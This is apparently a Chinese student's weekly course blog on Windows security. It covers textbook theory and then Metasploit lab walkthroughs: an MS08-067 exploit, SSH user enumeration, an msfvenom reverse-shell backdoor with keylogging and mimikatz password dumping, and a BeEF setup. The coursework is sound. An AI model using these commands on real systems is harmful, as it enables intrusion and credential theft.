本週主要學習了《網絡攻防---技術與實踐》第7章的內容,主要學習了 Windows操做系統安全攻防html
Windows操做系統基本框架
如上圖所示,Windows操做系統分爲運行於處理器特權模式(ring 0)的操做系統內核,以及運行在處理器非特權模式(ring 3)的用戶空間代碼。採用宏內核(monolithic)模式進行架構。內核基本模塊分爲:Windows執行體 、Windows內核體 、設備驅動程序 、硬件抽象層 、Windows窗口與圖形界面內核實現代碼 、系統支持進程 、 環境子系統服務進程 、服務進程 、用戶應用條件 、核心子系統DLL 。
Windows將進程視做可執行程序運行時刻的容器,而線程是指令執行的具體載體。
Windows的虛擬內存空間分爲系統核心內存區間與用戶內存區間兩部分。
Windows早期使用FAT文件分配表格式來管理文件系統,如今使用NTFS文件系統,較以前更加安全,具備更高的性能、可靠性和資源利用率。Windows可執行文件採用PE格式。
Windows系統註冊表在做爲系統全局配置、用戶和應用軟件配置信息的存儲倉庫,在Windows系統配置和控制方面承擔着關鍵角色。可經過自帶的 regedit.exe
註冊表查找編輯工具或其餘第三方工具進行訪問與修改,可以使用 RegMon
等工具進行監控。
Windows的網絡組件模塊根據OSI網絡模型可分爲:
(1)物理層 各類網卡硬件的設備驅動程序;
(2)鏈路層 NDIS庫及miniport驅動程序;
(3)網絡層與傳輸層 TDI傳輸層,實現了TCP/IP等協議棧;
(4)會話層與表示層 網絡API DLL 及 TDI 客戶端;
(5)應用層 網絡應用程序與服務進程。ios
Windows操做系統的安全體系結構
Windows操做系統是基於引用監控器模型來實現基本的對象安全模型。最爲核心的是位於內核中的SRM(Security Reference Monitor)安全引用監控器及位於用戶態的LSASS(Local Security Authority Subsystem Service)安全服務,它們與Winlogon/Netlogon及Eventlog等服務一塊兒,實現了對主體用戶的身份認證機制、對全部的資源對象的訪問控制機制,以及對訪問的安全審計機制。sql
Windows身份認證機制
Windows操做系統中以安全主體概念來包含全部進行系統資源訪問請求的實體對象,有用戶、用戶組和計算機。
Windows爲每一個用戶和計算機設置帳戶(accounts)進行管理,做爲這些安全主題運行程序的執行環境,帳戶權限的根本做用就是限制這些帳戶內運行程序對系統資源對象的訪問。用戶組是爲了簡化用戶管理而引入的用戶帳戶容器,經過將用戶帳戶添加入特定的用戶組,使得該用戶擁有用戶組配置的所有權限,有效地使用用戶組,科室的系統管理員對權限控制的配置工做量大大減小。
Windows用戶帳戶的口令字經加密被保存於SAM或活動目錄AD中。在Windows運行期間,內核對SAM文件加了一個持久性的文件鎖,故即便是Administrator帳戶,經過正常路徑也沒法獲取,只有LocalSystem帳戶權限才能夠讀取,但如今有許多黑客工具也能夠在內存中直接dump出SAM的內容。
Windows支持本地身份認證和網絡身份認證兩種方式。Winlogin進程、GINA圖形化登陸窗口與LSASS服務經過協做來完成本地身份認證過程。shell
Windows受權與訪問控制機制
Windows受權與訪問控制機制是基於引用監控器模型,由內核中的SRM模塊與用戶態的LSASS服務共同實施,由SRM做爲安全主體訪問對象資源時的中介,根據設定的訪問控制列表進行受權訪問。在用戶等安全主體通過認證後,Windows系統會賦予用戶一個訪問令牌。Windows對於系統中全部需保護的資源都抽象成對象。數據庫
Windows安全審計機制
系統審計策略在本地安全策略中由系統管理員來定義,來肯定系統對哪些事件進行記錄。windows
Windows的其餘安全機制
以上的身份認證、受權與訪問控制及安全審計是三個基本安全功能特性,其餘的還包括Windows安全中心、IPsec加密與驗證機制等。瀏覽器
Windows系統的安全漏洞生命週期
主要分爲漏洞的發現、利用與修補過程。在安全漏洞當中,對攻擊者最具價值的是遠程 滲透攻擊可利用、後果爲遠程執行代碼的高危型漏洞,或本地滲透攻擊可利用、後果爲本地特權提高的高危型漏洞,這兩者相結合能夠形成嚴重的安全問題。各大廠商在針對安全漏洞,也會做出相應的補丁修復。有許多安全漏洞公開披露信息庫,如:CVE、NVD、SecurityFocus、OSVDB等以供查詢參考。這對一個特定主機,典型滲透攻擊過程包括漏洞掃描測試、查找針對發現漏洞的滲透代碼、實施滲透測試。典型工具是 Metasploit工具,在後面實踐當中會詳細介紹。安全
Windows遠程口令猜想與破解攻擊
Windows經過基於服務器消息塊SMB協議承載的文件與打印機共享服務來爲網絡用戶提供遠程訪問文件系統和打印機的支持,於是它也就成爲攻擊者實施Windows遠程口令字猜想的傳統攻擊渠道。還有一種實施遠程口令字攻擊的經典技術是竊聽網絡上的口令字交換通訊實施破解。Windows的在不一樣版本在進行網絡身份認證時,使用了LanMan、NTLM和Kerberos三種認證協議。
這對這些攻擊,最根本的防護措施仍是使用高安全強度口令,儘可能關閉沒必要要的易受遠程口令猜想攻擊網絡服務,配置主機防火牆來限制對端口服務,利用網絡防火牆限制這些服務的訪問,禁用過期且存在本質缺陷的LanMan與NTLM,僅使用通過安全加固NTLMv2與Kerberos認證協議,對於安全級別較高的Windows系統服務器等主機,管理員能夠制定和實施強口令字策略及設定帳戶鎖定閾值。服務器
Windows網絡服務遠程滲透攻擊
主要針對Windows系統默認開放的諸如135(TCP)、137(UDP)等端口進行滲透,針對NetBios網絡服務、SMB網絡服務、MSRPC網絡服務進行攻擊,還有針對微軟網絡服務及第三方網絡服務進行遠程攻擊。防範措施包括:從軟件設計根源上儘量減小漏洞出現,管理員儘量快的更新與應用軟件安全補丁,在「零日」漏洞時間管理員應做出相應的防範,利用服務廠商及社區中的安全覈對清單對服務進行配置並利用一些安全加強插件來加固所部署的網絡服務,經過漏洞掃描軟件來標識網絡中已經存在的安全漏洞並及時修補,啓用入侵檢測機制,創建有效的事件應急相應計劃。網絡
Window本地安全攻防技術
利用以前的技術得到Windows系統的訪問權後,接下來的攻擊主要包括本地特權提高、敏感信息竊取、消蹤滅跡、遠程控制與後門程序。提權主要利用DLL注入和破解本地程序安全漏洞實現,工具備GetAdmin及Metasploit。敏感信息獲取主要包括系統口令字密文提取、系統口令字破解及用戶敏感數據竊取。消蹤滅跡主要包括關閉審計功能和清理事件日誌。遠程控制與後門程序可經過各類現成的黑客工具利用命令行或是圖形化界面實現。可針對各個不一樣的攻擊手段採起相應的防範措施。
Metasploit工具採用開發框架和模塊組件的可擴展模型,以Ruby語言編寫的Metasploit Framework(MSF)庫做爲整個軟件的基礎核心,爲滲透測試組件的開發與測試提供平臺。這裏選用Kali Rolling爲攻擊機(IP 192.168.37.130
),Windows xp sp1 爲靶機(IP 192.168.37.170
)。
MS08-067漏洞全稱爲「Windows Server服務RPC請求緩衝區溢出漏洞」,可在中國國家信息安全漏洞庫當中找到——CVE-2008-4250,也可在CVE官網——CVE-2008-4250找到相關信息。若是用戶在受影響的系統上收到特製的 RPC(遠程過程調用)請求,則該漏洞可能容許遠程執行代碼。
首先可以使用nmap工具對靶機進行鍼對性探測:
nmap -sS -sV -O --script=smb-check-vulns.nse -n 192.168.37.170
這裏使用腳本對smb協議漏洞進行掃描。在rolling版本的Kali當中該腳本已經移除,因此使用另外一臺版本爲Kali 1.0.8的主機對其進行掃描結果以下:
能夠看到,靶機當中確實存在MS08-067的漏洞。接下來就使用Metasploit工具對其進行攻擊測試。
在msf當中使用 search
命令搜索關於該漏洞的工具:
看到這裏有一個針對於該漏洞的滲透攻擊工具模塊,使用命令 use
使用該模塊:
利用命令 show options
發現還需設置目標地址,設置以下:
而後選擇 windows/shell_bind_tcp
載荷工具加載,命令爲:
set payload windows/shell_bind_tcp
最後,輸入命令 exploit
開始執行:
能夠看到,獲取shell成功,接着能夠在這個shell當中使用一些命令獲取更多的信息:
我使用的Kali版本是 kali rolling
,在使用Metasploit工具以前須要打開 postgresql
數據庫服務和 metasploit
服務,可是出現瞭如下錯誤:
最後發現是由於這個版本已經沒有metasploit服務了,須要利用如下方法打開帶數據庫支持的MSF服務:
一、啓動postgresql數據庫:/etc/init.d/postgresql start 或者 service postgresql start; 二、初始化MSF數據庫:msfdb init; 三、運行msfconsole:msfconsole; 四、在msf中能夠查看數據庫鏈接狀態:db_status。
上述操做完成後,就能夠經過命令 msfconsole
進入msf了:
在Kail當中msf的路徑爲:/usr/share/metasploit-framework
:
至此準備工做已經完成。
下面就以 SSH用戶名枚舉攻擊 對metasploit工具進行測試,首先靶機的IP地址是 192.168.37.220
,而後經過以前學過的 nmap
對靶機所開放的端口服務版本進行探測:
nmap -sV 192.168.37.220
由此,能夠看到靶機啓用了ssh服務,接着就在已打開的msf中使用命令 search ssh
,找尋msf所提供的關於ssh服務的工具:
這裏選擇上圖標記出的工具,進行ssh用戶名枚舉,接着利用命令 use
使用該工具:
再經過命令 sjow options
查看相應參數:
能夠看到除默認設定外須要設置目標地址,其實也須要用戶名與密碼的枚舉字典,爲方便起見,這裏直接指定用戶名,密碼使用一個字典:
最終設置爲:
使用命令 exploit
開始進行枚舉:
能夠看到,枚舉成功。
目的是利用meterpreter工具生成後門,目標靶機採用Windows xp系統。首先在kali上創建一個監聽的任務。須要使用msf當中的 exploit/multi/handler
工具:
這裏設定kali的IP地址做爲目標地址,監聽端口設定爲2333:
至此kali端的監聽準備工做就完成了。下一步使用如下命令生成一個後門程序:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.37.130 LPORT=2333 | msfencode -t exe -c 5 > /root/door.exe
可是這裏出現瞭如下問題:
通過上網查找資料,發現緣由仍是kali的版本問題,該版本當中的 msfpayload
和 msfencode
已經集成到 msfvenom
中,因此須要使用 msfvenom
工具進行後門的生成,命令爲:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.37.130 LPORT=2333 -i 5 -f exe > /root/door.exe
能夠看到後門程序已成功生成。下一步將該程序移入xp系統當中:
而後在kali的msf當中執行 exploit
開始進行監聽:
在xp當中運行後門程序,則能夠看到:
監聽端成功捕獲反饋信息,下面就可使用各類命令進行信息獲取了。
經過 keyscan
進行鍵盤監聽:
meterpreter還提供了許多擴展工具:
例如使用 load mimikatz
進行目標機密碼明文的抓取:
能夠看到抓取密碼明文成功,只不過個人靶機裏沒有設定密碼。
該工具是專一於瀏覽器端的滲透測試工具,直接使用命令 beef-xss
便可:
打開瀏覽器,會自動跳轉至beef登陸頁面:
使用默認用戶名beef和密碼beef便可進入主界面,輸入網址 http://127.0.0.1:3000//demod/basic.html
,能夠進入一個測試頁面:
這樣在主界面左端就能夠看到一個在線主機:
選取簡單的工具就可使目標主機,即測試頁面彈窗:
還能夠設定主機爲代理:
而後再Rider選項中的Forge Request當中編輯要發送的內容,
信息發送後,可經過History選項看到,待傳輸成功後,點擊相應的信息,便可顯示詳細的傳輸過程:
在beef當中,默認是不加載Metasploit的,因此須要對其進行配置:
修改 /usr/share/beef-xss/config.yaml
和 /usr/share/beef-xss/extensions/metasploit/config.yaml
:
(第一個配置文件)
(第二個配置文件)
而後打開msfconsole,在msf當中輸入:
load msgrpc ServerHost=192.168.37.130 Pass=abc123
而後在目錄 /usr/share/beef-xss
下,運行 ./beef -x
對beef工具進行更新:
更新完成後,再次打開beef主界面,查看模塊以下:
可看到metasploit已經載入成功。
1.與應用層有關的攻擊技術有:DNS欺騙、SMB中間人攻擊、釣魚及網頁木馬工具。
2.根據工做的網絡層協議層次,防火牆技術當中工做在網絡層的是 包過濾,電路級網關在傳輸層,應用層代理在應用層,基於狀態的包過濾涉及到傳輸層。
之後看書仍是須要仔細和耐心!!!
通過本週的學習,對Windows操做系統安全攻防相關內容有了必定的瞭解,熟悉了Kali當中的漏洞利用工具,着重對Metasploit工具進行了學習,總體收穫很大。我以爲若是可以獨立完成一整套的網絡攻防實踐,仍是很酷的。
完成網絡攻防課程的學習,完成各類攻防實踐操做。
學習了《網絡攻防---技術與實踐》第7章的內容,學習了KaliSecurity的26 - 30視頻,完成基本實踐。
周次 | 教材學習 | 視頻學習(新增/累計) | 博客(新增/累計) |
---|---|---|---|
第1周 | (實驗樓學習) | (實驗樓學習) | 1/1 |
第2周 | 第一、2章 | 5/5 | 1/2 |
第3周 | 第3章 | 5/10 | 2/4 |
第4周 | 第4章 | 5/15 | 1/5 |
第5周 | 第十一、12章 | 5/20 | 1/6 |
第6周 | 第五、6章 | 5/25 | 1/7 |
第7周 | 第7章 | 5/30 | 1/8 |